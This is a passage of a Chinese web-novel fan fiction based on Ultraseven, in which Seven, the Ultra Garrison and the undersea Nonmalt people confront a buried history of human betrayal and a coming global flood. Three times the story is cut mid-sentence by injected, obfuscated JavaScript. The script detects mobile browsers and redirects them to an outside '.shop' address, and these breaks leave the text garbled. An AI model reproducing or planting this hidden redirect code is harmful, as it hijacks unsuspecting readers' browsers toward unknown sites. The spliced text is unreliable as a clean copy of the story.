翠星亚理静静地说,她看着这个几乎要哭泣的男人,心中涌出无限柔情。他在犯错,他在流血,他从高高在上的神坛上跌下来,崩溃地忏悔。这一切都是因为他偏爱着人类,那是他的原罪,也是他的光芒,这让他从圣人变成了一个凡人。都说情人眼里出上帝,可是亚理却并不为上帝的坠落失望。因为这样的赛文真是……太可爱了,他明明是钢铁一样冷硬的战士,但他的心却和人类一样柔软。她俯下身,捧起男人的脸,放轻了声音说:“那么,你希望我怎么对待你呢?是希望我指责你,呵斥你,还是给予你一些疼痛?” “……请不要轻易原谅我。”诸星团闭上眼睛,“我曾经和你约定过,会一直保持着【美丽】,可是现在的我,已经无论如何都无法称得上是善良。” 你曾经说过,善良就是美丽。你喜欢美丽的东西,如果我不再美丽,我还能够配得上你的爱吗? 他没有将那些未尽之言说出来,可是亚理好像能够读心,她完全理解了他的意思,回答说:“就算这样,我也依旧爱着你。我喜欢的不是至纯至善的神明,而是愿意为自己的选择付出代价的生命。如果你感到悔恨,哭吧,我就在这里。” 他颤抖着伏在爱人膝头。 吃过晚饭后,亚理提议去海边看落日。太阳是在地球上能观测到的唯一恒星,或许这沉默光辉的巨大天体能够赦免所有人的罪孽。他们在沙滩上行走,白色的细沙上留下两个人的脚印。潮水拍打礁石,打出转瞬即逝的泡沫。一轮红日慢慢沉入深海,海上作业船在落日前化作黑色的剪影。有黄色的花瓣顺着水流漂来,沿着花瓣寻迹而上,他们看见一个简易木质墓碑,碑前放着新鲜的花束。 木牌上刻着的名字是“真市”。八岁,溺亡于这片海域。 他们在这个可怜的孩子墓前默哀片刻。身后忽然传来了细小的脚步声,黑色的影子晃动,里面好像有什么东西。翠星亚理打开感知,默默关注影中的两个存在。一个男孩从石头后走出来。他说:“奥特赛文,你是否愿意倾听我们的诉求呢?” 几乎是瞬间,战士的本能让诸星团把亚理护在身后,警惕地朝那个身影喊:“你是谁?” “我是农马尔特的使者,农马尔特想要和你交流。” 那是一个穿着条纹T恤和蓝色短裤的小男孩。那个孩子看上去和人类完全一致,黑色的短发,明亮的眼睛,左边脸颊上有一颗黑色的痣,胸前挂着一个陶埙。他仰着头对诸星团说:“你愿意听我说话吗?” 农马尔特……诸星团眉头紧皱,这个词语在奥特之星的语言里是“地球人”。如果有一个另一个族群自称是地球人,那么现在地面上生活的人类是…… “你是农马尔特人吗?” “以前不是,现在是。”男孩先摇了摇头,然后又点点头。诸星团又问:“孩子,你叫什么名字?” “我是真市。” 这个名字是……碑上的孩子。诸星团震惊,死者在说话! “你想告诉我什么?”他问。 “海洋是属于农马尔特人的,人类必须停止所有对海洋的开发活动。否者,我们一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648378|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定会反击的!” “可是人类也是地球的生命,他们也有资格使用海洋资源。” “人类才不是!人类是自私的侵略者,农马尔特人才是地球的原住民!人类把农马尔特人赶到海洋里,现在又要对海洋下手,这不是太自私了吗?” “什么?人类是侵略者!” 诸星团忽然感到一阵眩晕,一直倾听着的亚理拨开他的手,走到真市的面前。她蹲下来,耐心地问:“只有说辞可不能证明什么,你能够拿出确实的证据吗?” “在地球防卫军的【Ω档案】中封存了一段过去的影像,那是农马尔特人万年前和人类结盟的证明。” “你们的诉求是什么?” “奥特曼们,请不要干涉我们与人类的恩怨。我们要和人类清算这段孽缘,请你们什么都不要做。这是农马尔特与人类的战争。” “一定要这样做吗?”诸星团着急地劝说,“不是所有人类都参与了海洋开发,陆地上还生活着许许多多什么都不知道的人类。他们根本不知道历史,也没有对你们怀有恶意啊!” “为了生存,我们已经退无可退。” 黑影摇晃,一个一直在暗中倾听的“人”终于走了出来。他有着和鱼类一样苍白光滑的皮肤,头部没有鼻子,而是用腮呼吸。他的眼睛和鱼类一样无神圆睁。这个农马尔特人把真市护在身后,对诸星团说:“如果你们是正义的,就不要再帮助人类了。” “我……”诸星团痛苦地闭了闭眼睛,“我不想看见任何一个生命死去……” 如果人类才是邪恶的一方,那他再无话可说。他想起多年前罗塞塔曾经问过他的话——“如果一个种族里有好人也有坏人,我们根本没办法把他们分辨出来,因为好人会变成坏人,坏人也有可能悔改。你还要拯救他们吗?” 他的回答是:“是的,不是他们值得,而是他们痛苦。” 那么现在,被压迫的农马尔特人更加无辜,他无法漠视他们的痛苦,也无法坐视战争发生。如果农马尔特人和人类互相屠杀,这颗美丽的星球将流血漂橹。 “为了生存,我们已经退无可退。”鱼人失望地看着诸星团,“奥特赛文,你为何如此偏爱人类?人类有资格活下去,我们农马尔特人难道就不行吗?为什么你非要来做人类的英雄,为什么你不能来救救我们?你……你为何不能做我们的神!” 奥特赛文,你为何偏爱人类? 他是否也期望过在绝境之中,有一个红色的巨人从天而降来拯救他们?他们是否也憧憬过奥特曼的光芒?他们是否在看见赛文击败外星侵略者的时候,也不甘心地想过,这份殊宠本该是属于农马尔特人的呢? 战争迫在眼前,快想想,有什么办法能同时阻止人类和农马尔特人…… “人类也不全是邪恶的,”诸星团试图阻止战争的发生,“如果他们愿意悔改呢?或许农马尔特人可以和人类和平相处……” “这是一份宣战。奥特曼,我相信你们是更加文明高级的生物,所以,请不要掺入我们的战争。请不要使你的光芒堕落。” 鱼人带着真市离开了。男孩走前还回过头去看诸星团,他偷偷做了一个口型。 在回去的路上,诸星团一直思考着真市最后的动作,他忽然明白了那个口型的意思。是“证据”。真市希望诸星团公开那份【Ω档案】,人类能够为此做出改变,战争不必到来。 一个孩子在向他寻求帮助,请奥特赛文拯救人类与农马尔特人。 43. 我的爱意 (43) 回去之后,亚理看着沉默的赛文,询问:“那么,你做好决定了吗?你要干涉他们吗?你要帮助谁?” “……我不知道。我选不出来。”诸星团纠结地说,“农马尔特人是正义的,但是……我不想看见他们消灭地球人。” 这时候他听见亚理问他:“赛文,你觉得人类是邪恶的吗?” “……是。”诸星团好像意识到了什么,“亚理,你是不是很讨厌人类?” “并不是,不如说,我也是爱着人类的。他们是这个世界上含有无限可能性的种族。我喜爱着他们,所以,我会给予他们正确的爱。如果你无法做出选择,没关系,赛文,我会帮助你的。” 亚理俯身给予了诸星团一个拥抱。 今天,奥特警备队接到一个奇怪的来电,有一个小男孩打来电话说:“人类必须停止对海洋的全部开发行动,否则农马尔特人会发怒的!” 前半句听起来像极端环境保护组织的口号,后半句听起来像不知名邪教的恐吓。二者的结合就是一个极端环境保护主义邪教的恐怖袭击宣言,桐山队长这样想。古桥茂不以为然:“听声音还是一个小孩子吧,这个年级的小男孩最喜欢恶作剧了。” “不能掉以轻心。”桐山薰说,“我已经定位了发信地址,派人去寻找这个孩子。” 警备队员很快就把这个名为真市的男孩带回基地,这个孩子比他们想象的年纪还要小。尤里安奴作为队里唯一的女性,自然地站出来和小孩沟通:“你好,可以告诉姐姐,你的电话是什么意思吗?” “海底是农马尔特的家园,人类不应该越界。” “农马尔特,是什么外星人吗?可是你也是人类啊,为什么要站在外星人的立场说话呢?” “农马尔特才不是外星人,他们是地球的原住民,人类才是入侵者!就算我是人类,我也知道什么是对错。你们奥特警备队不是保护人类的组织吗,就更加应该让人类正确地活下去啊!” “什么?” 奥特警备队被这个惊雷的消息吓了一跳,一种无形的恐怖爬上脊柱。这种感觉就好像你走进一个鬼屋,这个地狱只允许一个人类走出去,你拼命地和各种鬼怪乃至同族战斗,什么坏事都做过了,终于活到最后。但是你打不开那扇逃生的门,你难以置信,你看见了镜子,却发现原来自己就是恶鬼。 人类一直以万物的灵长,上帝的长子自居,认为自己合理地享有地球的支配权。可是忽然有一天,上帝告诉人类,你们只是一群闯入别人后花园的小偷。 曾我和天城对视一眼,后者悄悄关上了门。他们朝真市靠拢,包围住这个男孩。纵然心乱如麻,他们也一致认为,决不能让这个消息走漏。诸星团上前一步,不经意地挡在真市身前。 “……你有什么证据?” “在地球防卫军总部地下三百米的深处,有一个与外界隔绝的档案室。里面存放着一个编号是EH-Ω-0000的东西。那里面是人类关于真相的记录。” Ω档案。 这是地球防卫军总部保密级别最高的档案,就算在本部的决策层也鲜少有人知晓,何况一个小孩。这孩子说的话可信度上升了好几个层次。桐山薰的心中本能地闪过一丝杀意,为了能让人类心安理得地在地球上活下去,农马尔特人必须被消灭。仿佛感受到了此刻不妙的气氛,诸星团紧紧护住真市:“队长,真相是不能被掩盖的。如果人类是一个卑劣的种族,我们要怎么走向宇宙和其他的文明来往,难道人类要把遇到的所有文明都毁灭吗?” “团,让开。” “不!队长,人类的文明提倡互帮互助,团结友爱。正是因为你们如此美丽,奥特赛文才会愿意为你们而战。我相信人们的心中一定闪烁着光芒,不要丧失你们的崇高啊!” “……你们想要杀死我吗?” 天真的男孩终于意识到了什么,他涨红了脸,朝沉默的人们大喊:“奥特警备队是混蛋!你们都是坏人!” 尤里安奴下意识抱住这个男孩,她颤抖地说:“如果,如果这一切都是真的,队长,我们要继续错下去吗……” “安奴,连你也……” “就算杀死我也没有用的。”真市在尤里安奴的保护中恢复镇定,他说:“农马尔特人永远不会忘记,你们不可能把这个秘密永远藏下去。” “……无论事情如何,我们都要先看到证据。”桐山队长下定了决心,“我们去破解Ω档案。” 奥特警备队朝地球防卫军总部秘密出动。 翠星亚理此刻正在和名为“阿勒姆”的农马尔特人喝下午茶。路过便利店的时候,亚理感受到了暗中窥视的视线,于是她走进便利店买了三文鱼饭团和果汁,精准地抓住尾随的阿勒姆。女孩晃了晃手中的塑料袋:“请你吃东西,我们聊一聊?” 警惕的阿勒姆被亚理抓到海边,靠近大海,他的应激反应变小了。他接过饭团,闷闷地说:“你就是那个一直帮助赛文的【天使】吧,我不是在跟踪你,我只是在找真市。” “那孩子不是按照你们的指令行动的吗?” “我们不会让这么小的孩子成为士兵,真市一直希望农马尔特人能和人类一起活下去,所以自告奋勇成为使者。我担心人类会伤害他。” “他不是已经死了?” “他的确是我们从地脉里打捞出来的灵魂,只要有人记得他,他就会一直存在。可是被杀死还是会痛的,小孩子不应该遭受这个。” “嗯嗯,你也是一个温柔的人呢。” “我以为你像奥特赛文一样喜欢人类。” “我确实喜爱着他们哦,他们为了生存努力挣扎的样子不是很可爱吗?不过,我很好奇呢。你们发动战争的依仗是什么?人类的科技已经可以飞向太空了,你们有什么把握不会再输一次?” “我们会再一次降下【大洪水】,像千百年前一样毁灭人类的文明。” 亚理微微睁大了眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648379|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类各地的神话中不约而同地都提起过一场席卷世界的洪水,从西方的洪水灭世到东方的大禹治水,都描述了一场持续七天七夜的洪灾。人类或是建造方舟,或是爬上高山,或是治理河道,最后幸存下来的只有寥寥数个“义人”。如果这些神话故事是一段真实的历史,那场洪水就是农马尔特人和人类的第一场战争。 阿勒姆继续以冷酷的口吻说:“摧毁人类的文明并不是什么困难的事情,就算人类在地面上建造无数城市,攀登科技飞向太空,他们终究还是要向这片大地寻求粮食。我们只需要将海平面提高十几厘米,海水就会淹没大部分陆地,人类引以为傲的文明会被天灾毁灭。这就是我们农马尔特人的反击。” 听了这样毫不掩饰的战争宣告,亚理的评价是:“那你们农马尔特人实在是太温良了,当初要是把人类消灭干净就没今天这么多事。” 说出这种话,很难让人相信你喜欢人类啊!阿勒姆连忙为自身的种族表态:“我们农马尔特人不喜欢争斗,也不是嗜杀的文明。虽然人类很可恶,可是里面也有真市这样的好孩子。” “怪不得你们没有下定决心,纠结了几千年。” 翠星亚理微笑着说:“正是因为爱着他们,我才要给人类必要的教导。做了错事就像像孩子一样瞒下去可不行,他们必须长大,成为更有担当的大人。” 阿勒姆转过头,蓝色的鱼目看着这个奥特曼,他听见了亚理的话:“我认为所有生命都应该为自己的选择付出代价。至于他们是选择死不认账消灭债主,还是愿意改正低头认错都好,不可以什么也不选。地雷只有在爆炸的那一刻才是【安全】的。” 她最后说道:”不过别担心,我也会一视同仁地爱着你们农马尔特人的,你们,也会在我的【爱】中活下去。” “……天使,你愿意做我们的神吗?” 阿勒姆感到喜悦,但是他很快就嗅闻到不妙的气息。眼前的女性说着温柔的话语,她的目光却没有温度,注视他的时候像是科学家注视小白鼠。某种冷酷的东西在翠星亚理温柔的表象下露出只鳞片爪,那个东西是光芒之下的影子。 科学家对着愚钝的小白鼠说出教诲:“在生存面前,所有的立场都会变得暧昧不清。如果死去的话,就什么也没有了。农马尔特的确占据道德高地。可是,然后呢?” “什么?我们是正义的!我们有资格……” “不要期望有一个伟大的家长来为你们站台,替你们讨回应有之物。你们失去了家园,很可怜。但是那又如何,生存不是依靠道德和正确判来的东西,而是需要不惜一切抢夺的权利。其实我不介意你们和人类抢得头破血流,宇宙是很残酷的,它不在乎生命是善良还是邪恶,只有活下来的人才有资格谈论正义。” “所以你明白了吗?不要祈祷神,不要把选择的重量交给奥特曼,请你自己决定你们的未来。” ——这就是我给予人类与农马尔特的爱意,给你们为自己做选择的【权利】。 44. 奥特警备队大战地球防卫军 (44) 地球防卫军本部。 观测部一如既往地执行监测任务,观测地外和地内的危险。虽然说,太空中的外星人科技树千奇百怪难以探寻,地球之内的异常也往往在短兵相接后才被上报。本部人员私下曾经戏称观测部的存在犹如一盏光感应电灯,有光才会亮,危险出现后才发出警报。但是对于观测部的支持一直未曾削减,人类总是试图掌握一切情报,朝着全知的神明靠拢。或许是因为不安,或许是因为傲慢。 “日本海域探测船被不明势力炸毁,已标记坐标,是否需要派出情报员调查?” “否,异常原因本部已知晓。后续处理由军队接管处理。” “*未知信号*人类,离开农马尔特的海洋!” “这是……” 观测员接收到一段奇怪的波段,他马上开始溯源发信处,结果居然是来自无人的海洋。他上报异常,本部的回应很冷淡:“忘记它。没有什么农马尔特,曾经没有,未来也没有。” 观测员从来没有收到这样奇怪的回复,他按照指令删除这段日志。忽然他面前的监视屏闪烁了一下,像是电力不稳导致的屏闪。他没有意识到,有一段监控被替换为循环播放的视频,那个屏幕所放映的是档案室的入口处。 有人用技术手段黑进防卫军总部。 地球防卫军日本分部的奥特警备队正在做绝对会上军事法庭的事情,队长桐山薰带头,带着诸星团、曾我、古桥茂潜入防卫军的总部。天城留在外勤车辆波特号上做技术支持,尤里安奴牵着真市的手,在奥特警备队基地看实时转播。 三个想要探知真相的人顺利地走到档案室,很快他们就要揭开历史的真相。他们撬开编号为EH-Ω-0000的保险柜,钢铁制成的柜门打开后,出现在人们眼前的是一块黑色的燧石。为了防止石头上有对人体有害的物质,诸星团主动向前一步,他拿起这块石头,柜中红外线探测仪隐秘地闪了闪。 “这就是农马尔特人的证据吗?只是一块石头?”曾我疑惑地问。诸星团推测这是农马尔特人用来储存信息的固体介质,但是他不知道要用什么办法读取内部数据。 “农马尔特人是使用巫术,能够通灵的种族。”真市的声音从耳麦中传出,“这块石头是仪式的触媒,只要有两个以上的人共同接触它,你们就能看见过去的景象。” 桐山薰看着这块石头,犹豫地伸出手。其他队员跟着队长,也伸出手触碰诸星团手中的石块。黑色燧石表面流过金色的光芒,人们感觉自己的意识被抽离,仿佛向天空飘去,又像向深海坠落。无数历史的残影在身后飞驰,宛如白驹过隙,向时间的上游奔去。地脉的记忆从石中喷涌而出,包裹所有人的灵魂。 ——那是很久很久以前的故事,在普罗米修斯盗火年代之前,在鸽子衔枝之年以前,在有巢氏筑屋时期的过去。农马尔特人生活在山海之间,他们有现在和现在【人类】一样的外貌,通过地脉施展巫术,驱使大地之兽。彼时的地球人通过观测虚妄海的潮涨潮落占卜吉凶,他们仰望星空,好奇那些遥远的天体上是否有和他们一样的生命。 要是存在外星人就好了,那我们就不会孤独。在庞大的宇宙之中,如果只有一个声音,该有多么寂寞啊。地球人对着星弦歌唱,拨动引力波。希望这歌声能带来远方的朋友。 然后,某一天,外星人真的降临了。一艘迷失航向的外星难民船慌不择路地降落地球,从中走出的生命有与地球人相似的外貌,他们说是为了躲避星球级别的战争才逃到此处,请地球人收留无处可去的他们。地球人欣然允许,双方互相交换语言和科技,外星人带来的科技与借用环境的巫术不同,那是改造环境的技术。外星技术让地球文明迅速繁荣起来,人类与外星人成为朋友。他们面对大海立下盟约。 “亲爱的朋友们,我们愿与你分享这颗星星。请大渊为我们见证,告祭先祖之灵,巫觋之血的后代与你们结缘。从此,这片土地将回应你们的呼唤。” 人类与外星人分享了地权,他们能够互相结亲,诞下后代。外星人真正地融入这颗星球,加入地球的生命循环。 如果故事就在这里结束,那一定是一个美满的童话吧? 可是。可是。往后千万年,唯有厮杀。 【人类】迅速发展壮大,科技与巫术的最大差异在于,巫术非常依赖环境和天赋,科技的产物只要经过简单的指导,就算是一个幼童也能够按下核弹按钮毁灭地球。地脉被【人类】的科技改造得互相矛盾,面目全非。环境的恶化让巫觋变得衰弱,种群的衰弱与巫术的失灵,使这些星球之子的生存空间被不断挤压。他们一点点被挤出大地,最后只能逃向未曾改变的深海。 许下盟约的那一天有想象过这样的未来吗?人类后悔了吗?在千万年的时间中,他们为了适应海洋失去曾经的样貌,如鱼似鬼的农马尔特人的身影在海中出现,【人类】的传说里增添了塞壬、人鱼、水鬼、龙女的逸闻。农马尔特人不喜欢战争,如果就这样相安无事也好,他们只是不再仰望天空,不再对星体歌唱。然而,【人类】的脚步永不停止,他们还想再次向宇宙启航。为此,占据地球表面70%的海中资源必不可少。农马尔特人忍无可忍。 以章鱼怪兽盖洛斯为仪轨核心,献祭数位大巫的生命,以此发动星球级别的巨大巫仪。洪水清洗掉了地球表面的文明痕迹,就算已经无法回到陆地,农马尔特人也不允许【人类】彻底榨干地球。这场灭世级别的洪灾中,仍有善良诚实的义人存活下来,是谁提醒他们准备逃生的呢?农马尔特人对此缄口不语,每一个与地脉沟通的孩子都会看见曾经的【临渊之盟】,读取先祖那一刻的憧憬与喜悦。现在如此憎恨,不过是因为相遇时刻实在太美好。 那一天的桃花盛开,桑枝抽芽。我们举起盛着清酒的青铜樽,许下不伤害彼此的约定,笑着碰杯。我以为我们会一直这样生活下去,直到我们的孩子布满大地,千代万代。 梦一样的画面破碎了。桐山薰睁开眼睛,一滴泪水无端落下。 “好……悲伤……”曾我捂住胸口,喃喃自语。燧石留存的不是无情的影像,还包含了记录者全部的情绪。他们与曾经的人类一起感受了相遇的喜悦和被背叛的愤怒,两个文明决裂时候的憎恨与痛苦。每一个农马尔特人与地脉共鸣的时候都会体验一遍先祖的恩怨,所以他们永不遗忘。 “所以,的确是我们人类做错了事情。”古桥茂低沉地说,他所接受过的教育没办法让他否认农马尔特人的痛苦。他们怀着善意接纳人类,最后却失去家园。现在他一想到人类准备开发海洋就有点心虚。“我们应该做些什么,”桐山薰说,“光凭我们几个人做不了什么决定。这份证据应该被公开,至少要让所有人知情。” 诸星团忍不住高兴起来,就是这样,知错就改的人类依旧可爱。他们准备带着这个证据离开,打开门,门后是一排黑洞洞的枪口。 被总部发现了! 诸星团把所有人护在身后,桐山薰把燧石收入怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648380|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中,思考要怎么突围。 “我没想过入侵者是你,薰。”一个老者站在成排的士兵背后,山田参谋说。桐山薰忍不住说:“老师?原来你早就知道这一切!” “放下那块石头,忘记这一切。我不希望你死在这里。” “可是为什么?您不是一直希望和外星人友好相处的吗?”桐山薰质问,“您还制止了本部对【天使】的研究,但是为什么要这样掩盖农马尔特的历史。” “为了人类,我必须这样做。”老人说,“薰,如果让外星人知道人类做过这样的事情,恐怕人类再也无法和其他文明交往了吧?这段信息如果暴露出去,我们有什么办法再自称地球的主人?再心安理得地活下去?” “但这是不对的事情。无论什么样的理由,都无法掩盖错误。农马尔特人并非无法沟通,他们甚至没有对人类赶尽杀绝。” “我不会去赌虚无缥缈的和平。”山田疲惫地说,“人类花费上千年才发展出现在的文明,我不能让它在这个千年停滞。薰,你已经不是小孩子,道个歉就能和好的事情不可能发生。除了彻底毁灭农马尔特人,已经没有别的办法。” “……您让我很失望。”桐山薰深深地看了这个苍老的老人一眼,他说,“因为您的教诲,我才决定成为地球防卫军的一员。我以为我是为了捍卫人类的荣光而战,现在却发现我的同胞才是恶鬼。” 交流到这个地步就算破裂,山田沉默地举起手。在他下令开枪之前,诸星团大声喊道:“你怎么能代表所有人,人类的事情应该让所有人决定!” “这是高层的指令,小伙子。群众盲目狂热、没有理智、能被轻易诱导。让乌合之众做决定只会给集体带来灾难,作为大脑的精英做出决策,也是为了让他们安心地活下去。” “就算把我们灭口也是不行的。”曾我哆哆嗦嗦地说,他的衣领上有一个针孔摄像头闪着光,“从你们进来开始,我就已经把一切都直播出去了。团说得对,这是我们所有人类的事情,我们所有人都有权利知道!” 山田面色一变,他急促地下达开火的指令。奥特警备队员闭上眼,准备迎接枪林弹雨。密集的枪响,烟雾消散之后之后,大家却毫发无伤,桐山薰没有闭眼,他怔怔地看着烟尘中红色的身影。赛文站在他们身前,用念力挡下所有的攻击。他亲眼看着团身上发出耀眼的光芒,变成奥特赛文,原来奥特警备队的第七人一直在他们身边,他不是高高在上的神明,是和他们一起吃饭、一起巡逻、一起开玩笑的战友。 赛文,你是来帮助人类的,对吗? “赛文?”“赛文?”“赛文!” 好像不知何处传来了的激昂歌声,在场的人口中都吐出同一个名字,或惊喜,或震惊,或愤怒。士兵茫然地看向长官,好像在问:我打赛文吗? 山田咬牙。 已经没有封锁消息的必要了。地球上最强大的外星人奥特赛文已经知道人类的黑历史,他们难道还能把这个一直帮助他们的巨人杀掉吗?赛文在凶恶的外星人和怪兽手中保护人类多少次了,甚至有些人认为与其向不存在的神明祈祷,不如改信赛文。面对赛文,山田无法不惶恐,他明明已经垂垂老矣,此刻却感觉自己像个做错事被父母发现的小孩。他绝望地说:“赛文,你要放弃人类吗?” 红色外星人摇了摇头。 在人类开始恐慌的时候,赛文说出了人类的语言。 “只要你们愿意回头,无论什么时候,我都站在你们的身前。” 45. 东京沉没之日 (45) 涩谷拥有整个东京最繁忙的十字路口,商业大厦巨大的广告荧幕下游人如织,衣着靓丽的人群如潮水来往反复。那块巨型银屏往日里放映的是价格高达数十万美元的美妆与时装广告,鲜艳奢靡的的光影浓缩经济上行时期最后的华光。今日,那块唱颂盛世之屏忽然黑屏,信号不稳定般地闪烁数秒后,摩登女郎的美丽面容扭曲消失,接入一段光线并不明亮的影像。 “怎么回事?”商场的负责人马上发现这个放映事故,投放广告的可都是分分钟资金流千万的商业品牌,更何况现在是傍晚,马上就要到人流量最大的时刻,在这种时刻出差子……他擦了擦汗,举起对讲机说:“技术部来维修了吗?给我一个解决的方案!” “店长,不行,不是我们内部的错误。放映信号被黑客劫持了,以我们的技术无法抵抗!” “那就切断电源!”穿着西装的男人脸色更难看,“不管那家伙要用我们的屏幕放什么东西,都关掉!” 他已经开始祈祷这块金色招牌上不要出现什么猎奇血腥的恐怖视频,那样百货的声誉就完蛋了。 “呃,店长。我觉得你还是看一看内容比较好。我们现在切断大概也没有用。”负责广告的属下声音变得犹豫和复杂,“天啊,我不知道他是怎么做到的。这个黑客好像劫持了所有电子设备的接收信号,您掏出手机看一看,现在全世界都在播放这段直播。” 什么玩意?百货店长皱着眉往玻璃窗外看了一眼,路上果然有不少行人掏出手机,停下脚步观看。他们的表情极其相似,从震惊到恐惧,最后变成不知所措的茫然。相同的冷色调光芒映照在人们脸上,像是铁青色的刺面。 他也拿出自己的手机,点开一个自动推送的直播间。首先是卡顿,这个直播间还开启了弹幕,无数雪花般地白色弹幕遮盖视频,交叠的字句里有数十种不同的语言。他关掉弹幕,这才看见直播画面。镜头很抖,但是还是能看见,在地球防卫军制服的对面站着唯一的明亮的红色。 是——赛文! 怎么回事?为什么赛文在和人类对峙?他连忙打开评论区。 #人类是侵略者。# 一行令人不适的标题挂在评论区的最上方。 “我们的放映范围变成了全世界,有人在帮我们。” 坐在波特号上的天城队员在和安奴通讯,他说:“我原来只把画面切到东京电视台,有人把信号转发出去,现在扩大的范围无法计算。这家伙还搭了评论平台,是什么恶趣味的外星人来看人类笑话吗?” “造成这么大的影响,团、不,赛文和队长他们也不会被本部灭口了吧。”尤里安奴在基地抱着真市说,“现在真相已经出现,没有人可以装聋作哑。人类,必须面对自己的起源。” “就怕这家伙利用这场直播毁灭人类和地球。”天城咬着牙,手指在键盘上敲出残影:“我会努力找出直播间的IP地址,希望人类能在这场浩劫里活下去。” 电脑上,直播还在继续。赛文说出人类的语言之后,奥特警备队的队员和红色外星人站在一起。面对赛文的循循善诱,山田参谋沉默了片刻,张开嘴又闭上,脸上的皱纹全都蹙在一起。他困难开口:“可是回头……我们要做到什么地步才算回头?就算我愿意回头,其他人愿意吗?” 这句话赛文无法回答,他既不是法官也不是神,如何能评判一个人该付出多少才能让所有人心服口服。他说:“至少,你们应该和农马尔特人谈一谈。” “他们也在么?” “他已经到了。” 从档案室的暗影里浮现出阿勒姆的身影,这个非人的身影让直播间的观众刷过一大波弹幕。“好可怕。”“好恶心。”“好恐怖的农马尔特人。”之类的话语被管理员天城的大手禁言,又被神秘黑客放出黑名单。画面中的人们还在行动,阿勒姆对人类提出诉求:“人类停止对海洋的所有开发,永远不再涉足海洋。” “不行,我们做不到。”面对杀上门的债主,山田摒弃含糊其词的外交话术,他说,“人类的文明已经离不开海洋了,全球80%的贸易要依靠海运,陆地上的食物和能源不足以养活数十亿人口。” “我不是在和你们讨价还价,”阿勒姆冷冷地说,“这是你们犯下的错误,你们必须偿还。” 弹幕数量此刻又是一波爆炸性地增长。人类的情绪变得有些失控:“农马尔特人是想要毁灭人类吗?”“什么我们,那些不知道多久的祖先和我们又不是一波人,我们什么都不知道!”“现在的人类也是受害者,这是历史的错误,不是我们的错误!”“杀掉这个怪物!”“毁灭农马尔特人,地球属于人类!” 天城胆战心惊地删评,但是没用,神秘拱火女默默地把所有弹幕恢复。一行一行充斥着暴力和恼怒的文字在直播间点燃舆论。不止在这个临时的直播间,许多电视台开始播报这条新闻,讨论人类应该怎么做。清除派的支持率一路走高,红色的折线像一柄利剑,挑剜人类平时善良温和的表象。 海洋深处的城市里,农马尔特人也在看直播。 不知不觉间成为人类代表的老人胸膛激烈地起伏,他握紧了拳头:“谈什么偿还,数前年的先祖犯下的罪和现在的人类无关!语言也好和科技也好,我们什么都没有继承到!我们早就不是当初的人类了,我们应该为了毫无关系的祖先背上莫名其妙的债务吗?” 弹幕在为山田叫好。是的,在他们看来,这就是一段从天而降的血债。他们甚至不知道他们“曾经是谁”。人类要怎么承认这无由来的罪恶? “就算更换语言和面貌,但是你们还自称是【人类】。”阿勒姆说,“你们还站在先祖掠夺来的土地上,你们就背负着原罪。” 这句话的重量无人可以回应。在阿勒姆的话落下后,现场出现了死一般的寂静。 “……所以,没有和解的空间了。”山田慢慢说。 “我们不会再后退。”阿勒姆说。 空气凝结成黑色的海,冷得所有人说不出话。赛文着急,他想要劝说几句,让农马尔特给人类一点空间,让人类对农马尔特道歉。我真的有立场高高在上地要求他们握手和好吗?赛文问自己。 ??但什么也不做无法让事情好转,他必须行动。 赛文还未开口,地面开始摇晃。档案架上的物品噼里啪啦地掉了一地,人类无法在剧烈的地震里保持平衡。日本是一个多发地震的国家,但是这一场地震来得实在恰到好处,宛如金戈铁马奔鸣前的号角。防卫军扑上来搀扶山田,老人狼狈地问:“是你们农马尔特人干的?” “你们不是也调动巡洋舰和海底导弹了吗?”阿勒姆笔直地站立着,淡淡地说:“仪式已经开始,就让海水冲刷掉一切吧。这一次,不会再有新的【人类】了。” “这颗星球上,本来就应该只有地球人(农马尔特人)。” 章鱼怪兽盖洛斯被唤醒了。 星球之子向他祈祷,黑色的怪兽从梦中苏醒,在海水里舒张触手,逆着洋流朝陆地游去。它所行径的地脉散发金色的光芒,渐渐勾勒出囊括全球的巨大法阵。盖洛斯循着大巫的指示前进,虚妄海之水从归墟涌出,连接海天。墨色的乌云从海面升起,平铺天空推向陆地。几十秒内,原本绯红的天空被黑压压的积雨云填满,暴雨倾盆。这颗星球历史上所有的降水量好像都集中在今日落下,万亿亿吨的海水形成百米高的水墙,发出雷霆般的咆哮声,迅速向陆地移动。在岛国的人类不需要用气象卫星,用肉眼就能看见远处有一条黑色的线,如同判官的墨笔抹掉所经过的一切。 